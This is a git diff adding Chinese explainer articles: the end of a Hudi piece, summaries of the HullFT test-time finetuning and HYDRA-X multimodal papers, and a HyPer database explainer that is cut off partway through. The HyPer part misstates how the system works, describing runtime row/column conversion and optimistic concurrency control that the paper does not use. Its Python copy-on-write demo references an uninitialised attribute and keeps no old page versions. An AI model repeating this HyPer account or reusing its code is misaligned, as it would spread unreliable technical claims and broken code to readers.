+比如 9:00 的事件数据可能在 10:20 才到达。Hudi 用 `_hoodie_commit_time` 标记到达时间，用分区目录（如 `date=20190117`）标记事件时间。时间线让你只关心"哪些文件被提交了"，不需要自己实现复杂的迟到数据逻辑——Hudi 会把迟到数据写进对应的历史分区，而增量查询只扫描时间线上新的 commit。
+
+**延迟和完整性的取舍**：如果你要求数据一旦写入立即可查，选 MOR + 内联合并；如果你接受分钟级延迟换取更好的读性能，选 COW 或 MOR + 异步合并。这个取舍决定了你的 pipeline 延迟下限。
+
+### Compaction（合并）是什么
+
+MOR 表随时间推移会产生越来越多 delta 日志文件。合并的过程就是把 delta 日志中的记录**合并到新的 base 文件**中，生成新的列式切片。合并可以是**同步**（每次写入后立即合并）或**异步**（后台定时合并）。合并频率越高，快照查询看到的延迟越低，但写入端付出的 I/O 代价也越高。
+
+## 总结
+
+Hudi 的核心思想很简单：**在对象存储上给 Parquet 加上"时间线 + 索引 + 更新能力"**。它不引入新的计算引擎，而是让现有的 Spark/Presto/Trino 直接获得流式数据处理能力。Timeline 是灵魂，File Groups 是骨架，COW/MOR 两种模式覆盖了"写多读少"和"读多写少"两大类场景。
diff --git a/src/content/docs/papers/hullft-ttft.md b/src/content/docs/papers/hullft-ttft.md
new file mode 100644
index 000000000..75567f176
--- /dev/null
+++ b/src/content/docs/papers/hullft-ttft.md
@@ -0,0 +1,340 @@
+---
+title: HullFT — 用凸包重建与梯度缓存做高效测试时微调
+来源: https://arxiv.org/abs/2605.30337
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：考前突击，但时间只够翻几页
+
+想象你明天要考「公司财务分析」，手里有一本 500 页的教材，而今晚只剩 **30 分钟**。
+
+- **笨办法（纯 kNN 检索）**：按目录找「最像考题」的 20 页，结果 15 页都在讲同一章「利润表」——信息重复，翻页时间全浪费了。
+- **聪明但慢的办法（SIFT 等多样性选择）**：每加一页都仔细算「还能带来多少新信息」，选得准，但**选题本身**就要花很久。
+- **HullFT 的思路**：把考题想象成 embedding 空间里的一个**目标点** $q$，教材段落是周围的**向量点**。你要找少数几段文字，让它们的**加权平均位置**尽量靠近 $q$——就像用几根不同方向的绳子拉住一块靶心。方向相近的段落自然**权重变低**（冗余被几何结构压下去），方向不同的段落会被拉进来（多样性自动出现）。选好之后，再把「0.37 份 A + 0.21 份 B + …」**整数化**成「A 出现 7 次、B 出现 4 次…」共恰好 $N$ 条训练样本；同一段重复出现时，**梯度不用每次都重算**，像复印机印同一份讲义，改一次笔记就够接下来几次复习用。
+
+类比总结：
+
+| 日常 | 传统 TTFT | HullFT |
+|------|----------|--------|
+| 考前翻书 | 每个 prompt 检索 + 微调 | 同样流程，但两步都加速 |
+| 重复章节浪费时间 | kNN top-$N$ 常高度冗余 | 凸组合自动降权近重复方向 |
+| 精挑细选太慢 | SIFT 等信息论选择开销大 | Frank–Wolfe 只需内积，无投影 |
+| 同页多看几遍 | 每条样本都 forward-backward | 重复样本梯度缓存复用 |
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 测试时微调（TTFT）为什么重要又为什么难
+
+大模型在全网语料上训练，权重是**全局最优**，未必对**当前这一条 prompt** 最优。TTFT（Test-Time Finetuning）的做法是：
+
+1. 收到查询 $q$；
+2. 从大语料里检索相关训练序列；
+3. 在这些序列上**更新模型参数**（通常每条约一步梯度）；
+4. 用更新后的模型回答 $q$。
+
+研究表明，哪怕只检索 20 条邻居，也能显著缩小不同参数量级模型之间的差距（Sun et al., 2023）。但 TTFT 发生在**推理时**，选数据和微调都计入**用户可见延迟**——慢了就失去实用价值。
+
+### 2. 现有方法的质量–效率两难
+
+- **kNN / FAISS 最近邻**：极快，但大语料里重复内容多，top-$N$ 可能几乎相同，梯度信号重复。
+- **SIFT 等多样性感知选择**：BPB（bits-per-byte，越低越好）明显更好，但每 query 的贪心选择成本高，在 $N$ 较小时瓶颈突出。
+
+HullFT 用**可证明的稀疏凸逼近**同时拿到**相关性 + 多样性**，再用**整数化 + 梯度复用**把微调成本打下来。
+
+### 3. 核心几何直觉
+
+在 embedding 空间里，**方向**承载语义：不同方向的样本覆盖更广特征；几乎同方向的样本高度冗余。把「为 prompt 选训练数据」写成：
+
+> 用候选池里少量点的**凸组合**（权重非负、和为 1）去逼近 query 向量 $q$。
+
+这就是**近似 Carathéodory 问题**：存在至多 $O(1/\varepsilon)$ 个点的组合，使 $\|q - Pw\|_2^2 \leq \varepsilon$。Frank–Wolfe 算法可以**构造性**地求这种稀疏解——每轮最多加一个支撑点，且**无需投影**到概率单纯形，每步只做内积。
+
+---
+
+## 核心概念
+
+### 1. 符号与设定
+
+- $q \in \mathbb{R}^d$：当前 prompt 的 embedding（论文用归一化 RoBERTa）。
+- $\{p_1,\ldots,p_K\}$：FAISS 从语料检索的 $K=200$ 候选池。
+- $P \in \mathbb{R}^{d \times K}$：列向量为各候选 embedding。
+- $w \in \Delta^K$：概率单纯形上的稀疏权重，$Pw = \sum_i w_i p_i$。
+- $N$：微调预算——最终训练 multiset 的**总条数**（允许重复）。
+- $m$：Frank–Wolfe 支撑集上限（support cap）。
+- $\varepsilon$：FW 停止阈值，$\|q - Pw\|_2^2 \leq \varepsilon$ 时停。
+
+### 2. 阶段一：Frank–Wolfe 凸重建选支撑集
+
+优化目标：
+
+$$
+\min_{w \in \Delta^K} \|q - Pw\|_2^2
+$$
+
+算法要点（Alg. 3）：
+
+1. 从与 $q$ 内积最大的顶点 $e_{v^*}$ 出发；
+2. 算残差 $r = q - Pw$，选 $v = \arg\max_i \langle r, p_i \rangle$；
+3. 沿 $w \to e_v$ 做**精确线搜索**更新 $w$；
+4. 每步至多新增一个非零权重 → **稀疏性**；
+5. 近重复点几乎不减小残差 → **自然被跳过**；
+6. 当误差 $\leq \varepsilon$ 或支撑点数 $= m$ 时停止。
+
+**为什么比显式多样性惩罚好？** 多样性来自凸逼近定义本身，不需要 MMR、DPP 或额外贪心信息增益。
+
+### 3. 阶段二：几何整数化（Integerization）
+
+FW 输出的是**分数权重** $w_i \in (0,1]$，不能直接「训练 0.37 条样本」。微调需要恰好 $N$ 条**等权**样本的 multiset。
+
+对支撑集 $S = \{s_1,\ldots,s_{|S|}\}$，求整数计数 $c_j \geq 0$，$\sum_j c_j = N$，最小化：
+
+$$
+\left\| q - \sum_{j=1}^{|S|} \frac{c_j}{N} s_j \right\|_2^2
+$$
+
+三步（Alg. 1）：
+
+1. **Floor**：$c_j = \lfloor N \tilde{w}_j \rfloor$；
+2. **Greedy fill**：剩余名额逐个分给「加一份后重建误差下降最多」的点；
+3. **Local swap**：两轮 pairwise 交换（从 $j$ 挪 1 份到 $k$）微调，预算不变。
+
+整数化不仅「可执行」，还**故意制造重复**——为下一阶段梯度复用铺路。
+
+### 4. 阶段三：梯度复用（Gradient Reuse / Caching）
+
+对支撑点 $s_j$ 出现 $c_j$ 次，朴素做法做 $c_j$ 次 forward-backward。HullFT 每 $r$ 步才真正算梯度，中间步复用缓存：
+
+$$
+\tilde{g}_t = \begin{cases}
+\nabla_\theta \mathcal{L}(\theta_t; s_j) & t \bmod r = 0 \\
+\tilde{g}_{t-1} & \text{otherwise}
+\end{cases}
+\qquad
+\theta_{t+1} = \text{AdamStep}(\theta_t, \tilde{g}_t, \eta)
+$$
+
+前向–反向次数从 $N$ 降到约 $\lceil N/r \rceil$。默认 $r=2$，实验显示平均 **1.48×** 微调加速，BPB 仅损失约 **0.64%**。
+
+**关键实现细节**：同一文本的 $c_j$ 次更新必须**连续排列**，整数化按 multiplicity  upfront 固定顺序，满足此结构。
+
+### 5. 完整管线（图 1）
+
+```
+Query q
+  → FAISS 检索 K=200 候选
+  → Frank–Wolfe 得稀疏 w
+  → Integerize 得 (S, c)，共 N 条
+  → 在 multiset 上 Adam 微调（梯度复用）
+  → 用微调后模型评估 q
+```
+
+---
+
+## 实验结果速览
+
+- **数据**：The Pile 的 12 个子集；GPT-2；150 条测试 query；共享 $K=200$ 候选池。
+- **基线**：kNN（top-$N$ 邻居）、SIFT（信息论去冗余选择）。
+- **指标**：BPB% 相对未微调基线；横轴为**总耗时**（选择 + 微调），扫 $N \in [1,50]$。
+
+主要结论：
+
+| 预算 $T$ | HullFT vs 最强基线 |
+|----------|-------------------|
+| 0.75s | BPB 低 **6.4%** |
+| 1.75s | 低 **3.8%**（12 子集中 11 个赢） |
+| 2.0s | 低 **3.4%** |
+| $\lesssim 4.5s$ | Pareto 占优 |
+
+机制拆解：选择阶段比 SIFT 快 **8.8×**（$N=50$ 时 0.059s vs 0.524s）；梯度复用再省 **1.48×** 微调时间——同一墙钟内 HullFT 能跑到更大的有效 $N$。
+
+---
+
+## 代码示例 1：Frank–Wolfe 凸重建（教学简化版）
+
+下面用 NumPy 实现论文 Alg. 3 的核心循环，帮助理解「残差方向选顶点 + 线搜索」：
+
+```python
+import numpy as np
+
+def frank_wolfe_select(q, P, eps=1e-3, m=20):
+    """
+    q: (d,) 查询 embedding
+    P: (d, K) 候选池，每列一个 p_i
+    返回: w 在概率单纯形上，稀疏支撑 <= m
+    """
+    K = P.shape[1]
+    # 从与 q 内积最大的顶点出发
+    v_star = int(np.argmax(P.T @ q))
+    w = np.zeros(K)
+    w[v_star] = 1.0
+
+    for _ in range(m - 1):
+        residual = q - P @ w
+        if np.dot(residual, residual) <= eps:
+            break
+        # 残差方向内积最大的候选
+        v = int(np.argmax(P.T @ residual))
+        # 沿 w -> e_v 的精确线搜索（二次目标闭式解）
+        d = np.zeros(K)
+        d[v] = 1.0
+        d -= w  # 方向 e_v - w
+        Pd = P @ d
+        num = np.dot(residual, Pd)
+        den = np.dot(Pd, Pd) + 1e-12
+        gamma = np.clip(num / den, 0.0, 1.0)
+        w = (1 - gamma) * w
+        w[v] += gamma
+    return w
+
+# 玩具例子：2D 平面里用 3 个候选重建 query
+q = np.array([0.6, 0.5])
+P = np.array([
+    [1.0, 0.2, 0.0],   # p1: 偏右
+    [0.0, 0.8, 1.0],   # p2,p3: 偏上
+]).T  # shape (2, 3)
+
+w = frank_wolfe_select(q, P, eps=1e-4, m=5)
+support = np.where(w > 1e-9)[0]
+print("权重 w:", np.round(w, 3))
+print("支撑索引:", support.tolist())
+print("重建误差:", np.linalg.norm(q - P @ w))
+```
+
+运行后你会看到 $w$ 只有少量非零项，且 $P@w$ 接近 $q$——这就是「稀疏、相关、多样」的几何选集。
+
+---
+
+## 代码示例 2：整数化 + 梯度复用微调循环
+
+第二个例子演示 Alg. 1 的 floor + greedy fill，以及 $r=2$ 的梯度刷新策略（伪 PyTorch）：
+
+```python
+import numpy as np
+
+def integerize(q, support_vecs, frac_weights, N, swap_passes=2):
+    """
+    support_vecs: (|S|, d) 支撑点矩阵
+    frac_weights: (|S|,) FW 输出的正权重（已归一化到支撑上）
+    返回 counts: (|S|,) 整数，sum = N
+    """
+    S = len(frac_weights)
+    counts = np.floor(N * frac_weights).astype(int)
+
+    def recon_error(c):
+        mean = (support_vecs.T @ c) / N  # (d,)
+        return np.sum((q - mean) ** 2)
+
+    # Greedy fill 剩余名额
+    while counts.sum() < N:
+        best_j, best_err = 0, float("inf")
+        for j in range(S):
+            trial = counts.copy()
+            trial[j] += 1
+            err = recon_error(trial)
+            if err < best_err:
+                best_err, best_j = err, j
+        counts[best_j] += 1
+
+    # Local swap refinement
+    for _ in range(swap_passes):
+        improved = False
+        for j in range(S):
+            for k in range(S):
+                if j == k or counts[j] == 0:
+                    continue
+                trial = counts.copy()
+                trial[j] -= 1
+                trial[k] += 1
+                if recon_error(trial) < recon_error(counts):
+                    counts = trial
+                    improved = True
+        if not improved:
+            break
+    return counts
+
+def finetune_with_gradient_reuse(model, sequences, counts, lr=5e-5, r=2):
+    """
+    sequences: 与 counts 一一对应的唯一文本列表
+    每个 s_j 连续训练 counts[j] 步，每 r 步刷新梯度
+    """
+    cached_grad = None
+    step_in_block = 0
+    for seq, cj in zip(sequences, counts):
+        for t in range(cj):
+            if t % r == 0:
+                loss = model.compute_loss(seq)
+                cached_grad = model.backward(loss)
+            # 复用 cached_grad 做 Adam 步（论文用 AdamStep）
+            model.optimizer_step(cached_grad, lr)
+    return model
+
+# 演示整数化
+q = np.array([1.0, 0.0])
+support = np.array([[1.0, 0.0], [0.0, 1.0], [0.7, 0.3]])
+w_frac = np.array([0.55, 0.30, 0.15])
+N = 10
+counts = integerize(q, support, w_frac, N)
+print("整数计数:", counts, "总和:", counts.sum())
+# 可能输出类似 [6, 3, 1]：重复多的条目微调时可梯度复用
+```
+
+官方实现见 [alaa-khamis/HullFT](https://github.com/alaa-khamis/HullFT)：`hullft/` 包提供 runtime 选择器与微调，`data/` 负责 FAISS 预计算候选池。
+
+---
+
+## 与相关工作的关系
+
+| 方法 | 选择策略 | 微调 | 主要代价 |
+|------|---------|------|---------|
+| kNN TTFT | top-$N$ 最近邻 | 每样本一步 | 冗余高 |
+| SIFT | 信息增益 − 冗余惩罚 | 每样本一步 | 选择慢 |
+| RAG | 检索进 context | 不更新权重 | 上下文长度受限 |
+| MMR / DPP | 显式多样性 | — | 非 query 条件凸优化 |
+| **HullFT** | Frank–Wolfe 凸重建 | 梯度复用 | 需 embedding + 预计算池 |
+
+HullFT 把**主动学习 / coreset** 里的 Frank–Wolfe 思想推进到**每条 query 的推理时选集**，并用整数化连接「连续几何解」与「离散训练 multiset」。
+
+---
+
+## 优势、局限与何时值得用
+
+### 优势
+
+1. **理论接地**：近似 Carathéodory + FW，稀疏性与多样性有几何解释。
+2. **选择快**：每轮 FW 只需矩阵–向量内积，无 SIFT 式重优化。
+3. **微调快**：整数 multiset 自带重复 → 梯度缓存，$r=2$ 几乎无损。
+4. **延迟敏感场景强**：$T \lesssim 4s$ 时相对 kNN/SIFT 全面占优。
+
+### 局限
+
+1. **依赖 embedding 质量**：RoBERTa 向量若与下游损失不对齐，凸重建会偏。
+2. **需预计算基础设施**：FAISS 索引、候选池 JSON/NPZ（论文实验设置）。
+3. **梯度复用是近似**：$r$ 过大（如 3）会损 BPB；仅适用于短步、同序列连续块。
+4. **模型规模实验集中在 GPT-2**：更大模型、更强基线上的外推需更多验证。
+
+### 实践 checklist
+
+- [ ] 为语料建 FAISS + 固定 $K$ 候选池预计算
+- [ ] 调 $m$（支撑上限）、$\varepsilon$（FW 精度）、$N$（微调条数）
+- [ ] 整数化后检查 multiset 重复率——重复少时梯度复用收益有限
+- [ ] 默认 $r=2$；在总延迟预算下扫 $N$ 找最优 BPB–时间折中
+
+---
+
+## 一句话总结
+
+**HullFT 把「为当前 prompt 挑训练数据」变成 embedding 空间里的稀疏凸重建（Frank–Wolfe），再把分数权重整数化成可训练的 $N$ 条 multiset，并对重复样本缓存梯度——在测试时微调场景里同时加速「选题」和「刷题」，于紧延迟预算下显著降低 BPB。**
+
+---
+
+## 参考资料
+
+- 论文：[Efficient Test-Time Finetuning of LLMs via Convex Reconstruction and Gradient Caching](https://arxiv.org/abs/2605.30337)（Khamis & Maalouf, 2026）
+- 代码：[https://github.com/alaa-khamis/HullFT](https://github.com/alaa-khamis/HullFT)
+- 基线 TTFT：Sun et al. nearest-neighbor test-time training；SIFT 信息论选择（同系列工作）
+- 理论背景：Carathéodory 定理、Frank–Wolfe / conditional gradient、coreset 几何摘要
diff --git a/src/content/docs/papers/hydra-x.md b/src/content/docs/papers/hydra-x.md
new file mode 100644
index 000000000..25d28eb22
--- /dev/null
+++ b/src/content/docs/papers/hydra-x.md
@@ -0,0 +1,182 @@
+---
+title: HYDRA-X: Native Unified Multimodal Models with Holistic Visual Tokenizers
+来源: 'https://arxiv.org/abs/2606.13289'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-ml-models
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**HYDRA-X**（论文全称：*HYDRA-X: Native Unified Multimodal Models with Holistic Visual Tokenizers*）是腾讯混元团队在 2026 年 6 月提出的一种**统一多模态模型（UMM）**。它最大的突破是：用**同一个 Vision Transformer（ViT）编码器**同时处理**图片**和**视频**的编码，而不需要像以前那样分别用两套不同的编码器。
+
+日常类比：以前的多模态模型像一个"图片翻译员 + 视频翻译员"两个人分工工作，他们说的语言不一样，后面的"大脑"（LLM）要分别学两套翻译规则。HYDRA-X 做了一个"全能翻译员"，一个人同时会翻译图片和视频，语言统一了，后面的大脑学起来更省力。
+
+## 背景：为什么要做这个
+
+在 HYDRA-X 之前，统一多模态模型有两大主流做法：
+
+1. **解耦方案**：图片走一套编码器（ViT + VAE），视频走另一套编码器（3D 卷积 VAE）。问题在于两套编码器的表示空间不一致，LLM 要花大量精力去"对齐"它们。
+2. **帧级拼接方案**：对视频的每一帧独立地用图片编码器编码，然后拼在一起。问题在于帧与帧之间的运动、因果关系完全丢失了——就像看连环画时只看了单张，没注意到故事线。
+
+HYDRA-X 的思路是：用一个**统一的 ViT 编码器**同时处理图片和视频，在编码器内部就引入**时间因果注意力机制**来捕捉视频中的帧间关系。
+
+## 核心概念
+
+### 1. Hydra-XTok：统一视觉 Tokenizer
+
+HYDRA-X 的核心是 **Hydra-XTok**，一个统一的视觉 token 编码器。它的工作流程如下：
+
+```
+输入（图片/视频）
+  → Gen-ViT（结构编码器，提取视觉结构特征 h）
+  → Bottleneck（压缩成紧凑潜码 z）
+  → Sem-ViT（语义编码器，生成语义特征 s）
+  → LLM（统一处理）
+```
+
+关键设计：
+
+- **Gen-ViT**：负责"看得准"，把像素压缩成紧凑的生成潜码（latent），用于图像/视频生成
+- **Bottleneck**：在生成和语义之间搭一个"瓶颈层"，压缩信息的维度
+- **Sem-ViT**：负责"看得懂"，把潜码展开成高维语义特征，对齐预训练的语义教师模型
+
+### 2. 帧级因果注意力（Tubelet Attention）
+
+论文做了一个**反直觉的发现**：很多人认为视频处理应该用"全时空注意力"（每帧都跟所有帧交互），但实验表明这反而**降低了重建质量**。
+
+HYDRA-X 的做法是：
+
+- 每帧只跟**前一帧**交互（因果注意力，且视野只有 2 帧）
+- 这种"少看一点"的设计，反而比"全部看完"效果更好
+
+类比：你看短视频时，不需要同时记住所有帧才能理解当前画面。看到"前一个动作 + 当前动作"就足以理解连贯性了。
+
+### 3. 分层时间压缩（Hierarchical Patchify）
+
+对视频进行时间压缩时，HYDRA-X 不用一步到位（4 倍压缩），而是分两步走（每步 2 倍压缩，共 4 倍）：
+
+```
+原始帧序列：  [F1, F2, F3, F4, F5, F6, F7, F8]
+一步压缩(4x):  [C1, C5]          ← 信息丢失大
+分层压缩(2x→2x): [C1, C3] → [C1] ← 渐进式，保留更多信息
+```
+
+### 4. 分解器（Decompressor）
+
+视频被压缩后，语义教师模型没法直接在压缩的时序上做监督（因为教师模型是在原始帧率下训练的）。HYDRA-X 加了一个轻量的**分解器**，把压缩后的特征"展开"回原始帧率，再用图像和**视频**两个教师模型分别做蒸馏。
+
+### 5. Tokenizer 级源-目标交互（Tokenizer-Stage STI）
+
+在做**图片编辑**任务时（比如"把这张照片里的猫换成狗"），以前的做法是：源图片和目标图片**独立编码**，然后在 LLM 层面才做交互。HYDRA-X 改为：在 Tokenizer 内部就把源图片和目标图片当作一个"长度为 2 的序列"一起编码，让它们在**潜码层面**就发生交互。
+
+## 代码示例
+
+### 示例 1：Token 编码流程
+
+下面展示 Hydra-XTok 对图片和视频的编码方式（伪代码，帮助理解数据流）：
+
+```python
+# 输入：一张图片 或 一个视频片段（多帧）
+# 输出：紧凑的语义特征，喂给 LLM
+
+class HydraXTok(nn.Module):
+    def __init__(self):
+        self.gen_vit = SigLIP_ViT()          # 结构编码器
+        self.bottleneck = ProjectionLayer()   # 生成-语义瓶颈
+        self.sem_vit = SigLIP_ViT()          # 语义编码器
+        self.decompressor = TemporalUpsampler()  # 分解器（训练时用）
+
+    def forward(self, x, is_video=False):
+        """
+        x: 输入图像 (B, C, H, W) 或视频 (B, T, C, H, W)
+        is_video: 标记是否是视频
+        """
+        # Step 1: Gen-ViT 提取结构特征
+        if is_video:
+            # 视频：分层时间压缩（2x → 2x）
+            h = self.gen_vit.hierarchical_temporal_patchify(x)
+        else:
+            # 图片：直接编码
+            h = self.gen_vit(x)
+
+        # Step 2: Bottleneck 压缩成潜码
+        z = self.bottleneck(h)
+
+        # Step 3: Sem-ViT 生成语义特征
+        # 视频编辑时，源图和目的图一起做
+        s = self.sem_vit(z)
+
+        return s  # 语义特征，输入 LLM
+```
+
+**关键点**：无论是图片还是视频，最终都输出同一种格式的语义特征 `s`，LLM 不需要知道输入是图片还是视频。
+
+### 示例 2：训练损失函数
+
+HYDRA-X 的训练包含两大部分：tokenizer 训练损失和 UMM 训练损失。
+
+```python
+# Tokenizer 训练损失 = 重建损失 + 语义蒸馏损失
+# 目标：潜码既要"重建出原图"（生成能力），又要"语义上对齐教师模型"（理解能力）
+
+L_HydraXTok = L_rec + λ * L_dist
+
+# L_rec: 从潜码 z 重建像素，确保生成质量
+# L_dist: 语义蒸馏，分两步：
+#   1) Sem-ViT 输出 vs 图像教师（SigLIP）
+#   2) 分解器输出 vs 视频教师（InternVideo）
+
+L_dist = d_cos(s_image, T_img(x))           # 图像教师蒸馏
+       + d_cos(D(s_video), T_vid(x))        # 视频教师蒸馏（通过分解器）
+
+# UMM 总训练损失 = 文本生成 + 视觉生成
+L_HydraX = λ1 * L_NTP + λ2 * L_FM
+
+# L_NTP: Next Token Prediction（文本生成，标准 LLM 训练）
+# L_FM: Flow Matching（视觉生成，从潜码重建图像/视频）
+```
+
+这里的 `d_cos` 是余弦距离（cosine distance），衡量语义特征的对齐程度。
+
+## 为什么重要
+
+不理解 HYDRA-X，以下趋势就没法解释：
+
+- **统一多模态模型的下一个方向是"原生视频支持"**——不再是在图片模型上加个视频补丁，而是从架构设计之初就同时考虑图片和视频
+- **Tokenizer 不只是"翻译器"，它是理解与生成之间的桥梁**——HYDRA-X 通过蒸馏把语义知识注入生成潜码，让生成和理解互相促进
+- **"少即是多"在视频建模中是真实存在的**——全时空注意力虽然直观，但在结构化重建任务上反而有害；局部因果注意力就足够
+- **图片编辑的一致性瓶颈在编码层，不在 LLM 层**——源-目标交互前置到 Tokenizer 内部，是编辑质量大幅提升的关键
+
+## 关键数据
+
+HYDRA-X（7B 参数，基于 Qwen2.5-7B-Instruct）在主要基准上的表现：
+
+| 任务 | 基准 | HYDRA-X | 说明 |
+|------|------|---------|------|
+| 图像理解 | AI2D | **86.5** | 超过多数 14B+ 模型 |
+| 图像理解 | MME | **2350.0** | 接近专有模型水平 |
+| 视频理解 | MVBench | **59.1** | 超过 Show-o2 7B |
+| 视频理解 | Video-MME | **60.0** | 同量级最佳之一 |
+| 图像生成 | GenEval | **71.97** | 统一模型中最强 |
+| 图像编辑 | ImgEdit | **3.20** | STI 比 Indep 高 0.4 |
+| 图像重建 | ImageNet PSNR | **31.73** | 超过 3D-Conv VAE |
+
+## 局限
+
+论文在附录 E 中也坦诚了局限：
+
+- HYDRA-X 在**长视频理解**上仍落后于专门训练的视频模型（如 Gemini-1.5-Pro），说明统一模型在长程时序建模上还有提升空间
+- 模型规模限于 7B，更大规模（如 70B）的表现和扩展规律尚待验证
+- 训练需要双教师蒸馏（图像+视频），增加了训练基础设施的复杂度
+
+## 总结
+
+HYDRA-X 的核心贡献可以用三句话概括：
+
+1. **统一**：第一个用单个 ViT 统一处理图片和视频的 Tokenizer
+2. **发现**："帧级因果注意力 + 分层压缩"比全时空注意力+一步压缩效果更好
+3. **改进**：图片编辑中源-目标交互前置到 Tokenizer 潜码层，大幅提升一致性
+
+它标志着统一多模态模型从"图片优先"向"图片+视频原生统一"的重要演进。
diff --git a/src/content/docs/papers/hyper-kemper-neumann-2011.md b/src/content/docs/papers/hyper-kemper-neumann-2011.md
new file mode 100644
index 000000000..f597fc570
--- /dev/null
+++ b/src/content/docs/papers/hyper-kemper-neumann-2011.md
@@ -0,0 +1,298 @@
+---
+title: HyPer - A Hybrid OLTP and OLAP Main Memory DBMS
+来源: https://db.in.tum.de/~kemper/papers/HyperICDE11.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# HyPer：一个混合 OLTP 与 OLAP 的内存数据库
+
+## 一、为什么要同时做 OLTP 和 OLAP？
+
+想象一家电商公司。它的网站每天收到百万次请求——用户下单、查库存、付款，这些操作要求**极快响应**（毫秒级），每次只改动几条记录。这就是 OLTP（联机事务处理）。
+
+同一时间，运营团队需要知道"上个月哪个地区的销售额最高"、"哪些商品经常一起被购买"，这类查询要扫描**整张表甚至多张大表**，做复杂的聚合和连接。这就是 OLAP（联机分析处理）。
+
+在传统架构里，这两件事是分开的：
+
+- OLTP 数据放在 MySQL / PostgreSQL 这类关系型数据库里
+- 分析数据通过 ETL 定时同步到 Hive / ClickHouse 等分析引擎
+
+中间隔着数据管道、延迟、不一致。HyPer 的核心思想就一句话：**同一份数据，同一个引擎，同时服务 OLTP 和 OLAP。**
+
+## 二、核心概念拆解
+
+### 2.1 列存 vs 行存：各有所长
+
+在理解 HyPer 之前，必须先搞懂一个根本矛盾：
+
+**行存储（Row Store）**——像一张 Excel 表格，一行一条记录完整地放在一起。
+
+```
+订单表（行存）：
+| 订单ID | 用户ID | 金额  | 时间        |
+|--------|--------|-------|-------------|
+| 1001   | U1     | 299元 | 2024-01-01  |
+| 1002   | U2     | 159元 | 2024-01-01  |
+| 1003   | U1     | 499元 | 2024-01-02  |
+```
+
+适合 OLTP：你要改一条记录、查一条记录的某个字段，一行数据在内存里连续存放，CPU 缓存友好。
+
+**列存储（Column Store）**——把每一列单独存。
+
+```
+订单表（列存）：
+订单ID列: [1001, 1002, 1003]
+用户ID列: [U1,     U2,     U1    ]
+金额列:   [299元,  159元,  499元 ]
+时间列:   [01-01,  01-01,  01-02 ]
+```
+
+适合 OLAP：你只需要"统计金额总和"，只需要读金额这一列，不用碰其他列，省了大量 IO。
+
+**问题**：行存分析慢，列存更新慢。业界共识是"鱼与熊掌不可兼得"。
+
+**HyPer 的答案**：两种格式**同时存在**，在运行时自动转换。
+
+### 2.2 虚拟内存快照（Virtual Memory Snapshots）——HyPer 的杀手锏
+
+这是这篇论文最核心的创新。
+
+传统数据库做快照需要拷贝整个数据集，很慢。HyPer 利用操作系统的虚拟内存机制，几乎零成本地创建数据库快照：
+
+**类比**：想象你在读一本很厚的书，突然需要停下来给别人展示"当前这本书的样子"。传统做法是把整本书复印一份。HyPer 的做法是给这本书打个标记："从这一刻起，这本书的内容不再改变"，然后给读者发一本"只读副本"的钥匙。因为操作系统负责追踪哪些页面被改写了（写时复制，Copy-on-Write），所以不需要预先拷贝任何东西。
+
+具体实现：
+
+1. 数据库的数据页映射到进程的虚拟地址空间
+2. 当需要快照时，把相关页面的权限改为只读
+3. 如果 OLTP 事务要修改某个页面，操作系统触发缺页中断，HyPer 捕获它，把那一页拷贝一份再修改
+4. 快照里的数据保持不变，供分析查询使用
+
+这个过程在**微秒级别**完成，而不是传统数据库的秒级甚至分钟级。
+
+### 2.3 运行时转换（Runtime Conversion）
+
+HyPer 的行存和列存之间可以互相转换：
+
+- OLTP 事务主要在**行存**上执行（更新方便）
+- OLAP 查询主要在**列存**上执行（扫描高效）
+- 当有大量分析查询进来时，HyPer 在后台把行存**转换成列存**
+- 转换过程中 OLTP 不受影响，继续在工作
+
+转换完成后，分析查询切换到列存引擎执行。如果 OLTP 又变多了，可以再转回去。
+
+### 2.4 自适应并发控制
+
+HyPer 使用了一种叫 **Optimistic Concurrency Control（乐观并发控制）** 的策略：
+
+- 事务执行时不加锁（假设不会冲突）
+- 提交时才检查是否有冲突
+- 有冲突就回滚重试
+
+配合虚拟内存快照，不同版本的数据可以同时存在，互不干扰。
+
+## 三、系统架构图（文字版）
+
+```
+                    ┌─────────────────────────────┐
+                    │         SQL Parser           │
+                    └──────────┬──────────────────┘
+                               │
+              ┌────────────────┼────────────────┐
+              ▼                ▼                ▼
+        ┌──────────┐   ┌──────────┐   ┌─────────────────┐
+        │ OLTP     │   │ OLAP     │   │ Snapshot Engine │
+        │ Planner  │   │ Planner  │   │ (VM Snapshots)  │
+        └────┬─────┘   └────┬─────┘   └────────┬────────┘
+             │              │                   │
+             ▼              ▼                   ▼
+        ┌──────────┐   ┌──────────┐    ┌──────────────────┐
+        │ Row Store│   │Col Store │    │ Copy-on-Write    │
+        │ Engine   │◄─►│ Engine   │    │ Page Manager     │
+        └──────────┘   └──────────┘    └──────────────────┘
+```
+
+## 四、代码示例
+
+### 示例 1：模拟虚拟内存快照的简易实现
+
+下面用一个简化的 Python 代码演示 HyPer 快照的核心思想——写时复制：
+
+```python
+import copy
+
+class VirtualMemorySnapshot:
+    """
+    简化版的 HyPer 虚拟内存快照机制。
+    核心思路：快照创建时不拷贝数据，只在写入时才拷贝被修改的页面。
+    """
+
+    def __init__(self, num_pages=10):
+        # 每个页面 4KB，模拟数据库的内存页
+        self.pages = [bytearray(4096) for _ in range(num_pages)]
+        # 记录每个页面是否已被复制（写时复制）
+        self.copy_on_write_flags = [False] * num_pages
+
+    def create_snapshot(self):
+        """
+        创建快照：把所有页面设为只读，记录版本号。
+        实际成本：O(1)，只是设个标志位。
+        """
+        snapshot_version = len(self.snapshots)
+        self.snapshots.append(snapshot_version)
+        for i in range(len(self.pages)):
+            self.copy_on_write_flags[i] = True  # 标记为只读
+        return f"Snapshot v{snapshot_version} created"
+
+    def modify_page(self, page_id, offset, data):
+        """
+        修改页面：如果该页面处于"只读"状态（有快照），
+        先拷贝一份新的再修改。
+        """
+        if self.copy_on_write_flags[page_id]:
+            # 写时复制：创建新页面副本
+            self.pages[page_id] = bytearray(self.pages[page_id])
+            self.copy_on_write_flags[page_id] = False
+
+        self.pages[page_id][offset:offset + len(data)] = data
+
+    def read_page(self, page_id):
+        return self.pages[page_id]
+
+
+# 演示
